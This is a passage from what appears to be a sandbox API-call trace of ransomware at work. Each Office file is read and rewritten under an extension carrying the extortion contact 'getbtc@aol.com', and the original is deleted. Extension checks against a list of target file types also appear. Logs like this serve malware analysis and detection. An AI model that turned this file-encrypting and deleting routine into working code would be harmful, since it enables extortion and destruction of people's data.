Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0254.817] lstrlenW (lpString=".doc") returned 4 [0254.817] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0254.817] lstrlenW (lpString=".docx") returned 5 [0254.817] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0254.817] lstrlenW (lpString=".pdf") returned 4 [0254.817] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0254.817] lstrlenW (lpString=".xls") returned 4 [0254.817] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0254.817] lstrlenW (lpString=".xlsx") returned 5 [0254.817] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0254.817] lstrlenW (lpString=".ppt") returned 4 [0254.817] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0254.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0254.817] lstrlenW (lpString=".zip") returned 4 [0254.817] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0254.817] lstrlenW (lpString=".rar") returned 4 [0254.817] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0254.817] lstrlenW (lpString=".bz2") returned 4 [0254.817] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0254.818] lstrlenW (lpString=".7z") returned 3 [0254.818] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0254.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0254.818] lstrlenW (lpString=".dbf") returned 4 [0254.818] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0254.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0254.818] lstrlenW (lpString=".1cd") returned 4 [0254.818] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0254.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0254.818] lstrlenW (lpString=".jpg") returned 4 [0254.818] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0254.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0254.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0254.818] lstrlenW (lpString=".doc") returned 4 [0254.818] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0254.818] lstrlenW (lpString=".docx") returned 5 [0254.818] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0254.818] lstrlenW (lpString=".pdf") returned 4 [0254.818] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0254.818] lstrlenW (lpString=".xls") returned 4 [0254.818] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0254.818] lstrlenW (lpString=".xlsx") returned 5 [0254.818] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0254.818] lstrlenW (lpString=".ppt") returned 4 [0254.818] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0254.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0254.818] lstrlenW (lpString=".zip") returned 4 [0254.818] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0254.818] lstrlenW (lpString=".rar") returned 4 [0254.818] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0254.818] lstrlenW (lpString=".bz2") returned 4 [0254.818] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0254.818] lstrlenW (lpString=".7z") returned 3 [0254.818] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0254.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0254.818] lstrlenW (lpString=".dbf") returned 4 [0254.819] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0254.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0254.819] lstrlenW (lpString=".1cd") returned 4 [0254.819] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0254.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0254.819] lstrlenW (lpString=".jpg") returned 4 [0254.819] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0254.819] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0254.819] lstrlenW (lpString="VISIO.SHAPESHEET_K_COL.HXK") returned 26 [0254.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.819] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=113) returned 1 [0254.819] CloseHandle (hObject=0x338) returned 1 [0254.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk")) returned 0x20 [0254.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.820] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.820] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.820] GetLastError () returned 0x0 [0254.820] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x71, lpOverlapped=0x0) returned 1 [0254.921] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0254.921] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.922] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x108, lpOverlapped=0x0) returned 1 [0254.922] SetEndOfFile (hFile=0x390) returned 1 [0254.922] CloseHandle (hObject=0x390) returned 1 [0254.922] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.922] SetEndOfFile (hFile=0x338) returned 1 [0254.924] CloseHandle (hObject=0x338) returned 1 [0254.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk")) returned 1 [0254.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0254.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0254.925] lstrlenW (lpString=".doc") returned 4 [0254.925] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0254.925] lstrlenW (lpString=".docx") returned 5 [0254.925] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0254.925] lstrlenW (lpString=".pdf") returned 4 [0254.925] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0254.925] lstrlenW (lpString=".xls") returned 4 [0254.925] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0254.925] lstrlenW (lpString=".xlsx") returned 5 [0254.925] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0254.925] lstrlenW (lpString=".ppt") returned 4 [0254.926] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0254.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0254.926] lstrlenW (lpString=".zip") returned 4 [0254.926] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0254.926] lstrlenW (lpString=".rar") returned 4 [0254.926] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0254.926] lstrlenW (lpString=".bz2") returned 4 [0254.926] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0254.926] lstrlenW (lpString=".7z") returned 3 [0254.926] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0254.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0254.926] lstrlenW (lpString=".dbf") returned 4 [0254.926] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0254.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0254.926] lstrlenW (lpString=".1cd") returned 4 [0254.926] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0254.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0254.926] lstrlenW (lpString=".jpg") returned 4 [0254.926] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0254.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0254.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0254.926] lstrlenW (lpString=".doc") returned 4 [0254.926] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0254.926] lstrlenW (lpString=".docx") returned 5 [0254.926] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0254.926] lstrlenW (lpString=".pdf") returned 4 [0254.926] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0254.926] lstrlenW (lpString=".xls") returned 4 [0254.926] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0254.926] lstrlenW (lpString=".xlsx") returned 5 [0254.926] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0254.926] lstrlenW (lpString=".ppt") returned 4 [0254.926] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0254.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0254.926] lstrlenW (lpString=".zip") returned 4 [0254.926] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0254.926] lstrlenW (lpString=".rar") returned 4 [0254.927] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0254.927] lstrlenW (lpString=".bz2") returned 4 [0254.927] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0254.927] lstrlenW (lpString=".7z") returned 3 [0254.927] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0254.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0254.927] lstrlenW (lpString=".dbf") returned 4 [0254.927] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0254.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0254.927] lstrlenW (lpString=".1cd") returned 4 [0254.927] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0254.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0254.927] lstrlenW (lpString=".jpg") returned 4 [0254.927] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0254.927] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0254.927] lstrlenW (lpString="VISIO_COL.HXT") returned 13 [0254.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.927] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=205) returned 1 [0254.928] CloseHandle (hObject=0x338) returned 1 [0254.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt")) returned 0x20 [0254.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.928] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.928] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.929] GetLastError () returned 0x0 [0254.929] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xcd, lpOverlapped=0x0) returned 1 [0254.929] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0254.930] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.930] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xee, lpOverlapped=0x0) returned 1 [0254.930] SetEndOfFile (hFile=0x390) returned 1 [0254.930] CloseHandle (hObject=0x390) returned 1 [0254.930] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.931] SetEndOfFile (hFile=0x338) returned 1 [0254.933] CloseHandle (hObject=0x338) returned 1 [0254.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt")) returned 1 [0254.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0254.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0254.934] lstrlenW (lpString=".doc") returned 4 [0254.934] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0254.934] lstrlenW (lpString=".docx") returned 5 [0254.934] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0254.934] lstrlenW (lpString=".pdf") returned 4 [0254.934] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0254.934] lstrlenW (lpString=".xls") returned 4 [0254.934] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0254.934] lstrlenW (lpString=".xlsx") returned 5 [0254.934] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0254.934] lstrlenW (lpString=".ppt") returned 4 [0254.934] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0254.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0254.934] lstrlenW (lpString=".zip") returned 4 [0254.934] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0254.934] lstrlenW (lpString=".rar") returned 4 [0254.934] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0254.934] lstrlenW (lpString=".bz2") returned 4 [0254.934] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0254.934] lstrlenW (lpString=".7z") returned 3 [0254.934] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0254.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0254.934] lstrlenW (lpString=".dbf") returned 4 [0254.934] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0254.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0254.934] lstrlenW (lpString=".1cd") returned 4 [0254.934] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0254.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0254.934] lstrlenW (lpString=".jpg") returned 4 [0254.934] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0254.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0254.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0254.934] lstrlenW (lpString=".doc") returned 4 [0254.934] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0254.934] lstrlenW (lpString=".docx") returned 5 [0254.934] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0254.935] lstrlenW (lpString=".pdf") returned 4 [0254.935] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0254.935] lstrlenW (lpString=".xls") returned 4 [0254.935] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0254.935] lstrlenW (lpString=".xlsx") returned 5 [0254.935] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0254.935] lstrlenW (lpString=".ppt") returned 4 [0254.935] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0254.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0254.935] lstrlenW (lpString=".zip") returned 4 [0254.935] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0254.935] lstrlenW (lpString=".rar") returned 4 [0254.935] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0254.935] lstrlenW (lpString=".bz2") returned 4 [0254.935] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0254.935] lstrlenW (lpString=".7z") returned 3 [0254.935] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0254.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0254.935] lstrlenW (lpString=".dbf") returned 4 [0254.935] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0254.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0254.935] lstrlenW (lpString=".1cd") returned 4 [0254.935] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0254.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0254.935] lstrlenW (lpString=".jpg") returned 4 [0254.935] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0254.935] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0254.935] lstrlenW (lpString="VISIO_F_COL.HXK") returned 15 [0254.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.936] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=114) returned 1 [0254.936] CloseHandle (hObject=0x338) returned 1 [0254.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk")) returned 0x20 [0254.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.936] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.936] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.937] GetLastError () returned 0x0 [0254.937] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x72, lpOverlapped=0x0) returned 1 [0254.938] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0254.939] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.939] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0254.939] SetEndOfFile (hFile=0x390) returned 1 [0254.939] CloseHandle (hObject=0x390) returned 1 [0254.939] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.939] SetEndOfFile (hFile=0x338) returned 1 [0254.941] CloseHandle (hObject=0x338) returned 1 [0254.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk")) returned 1 [0254.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0254.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0254.942] lstrlenW (lpString=".doc") returned 4 [0254.942] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0254.942] lstrlenW (lpString=".docx") returned 5 [0254.942] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0254.942] lstrlenW (lpString=".pdf") returned 4 [0254.942] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0254.942] lstrlenW (lpString=".xls") returned 4 [0254.942] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0254.942] lstrlenW (lpString=".xlsx") returned 5 [0254.942] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0254.942] lstrlenW (lpString=".ppt") returned 4 [0254.942] lstrcmpiW 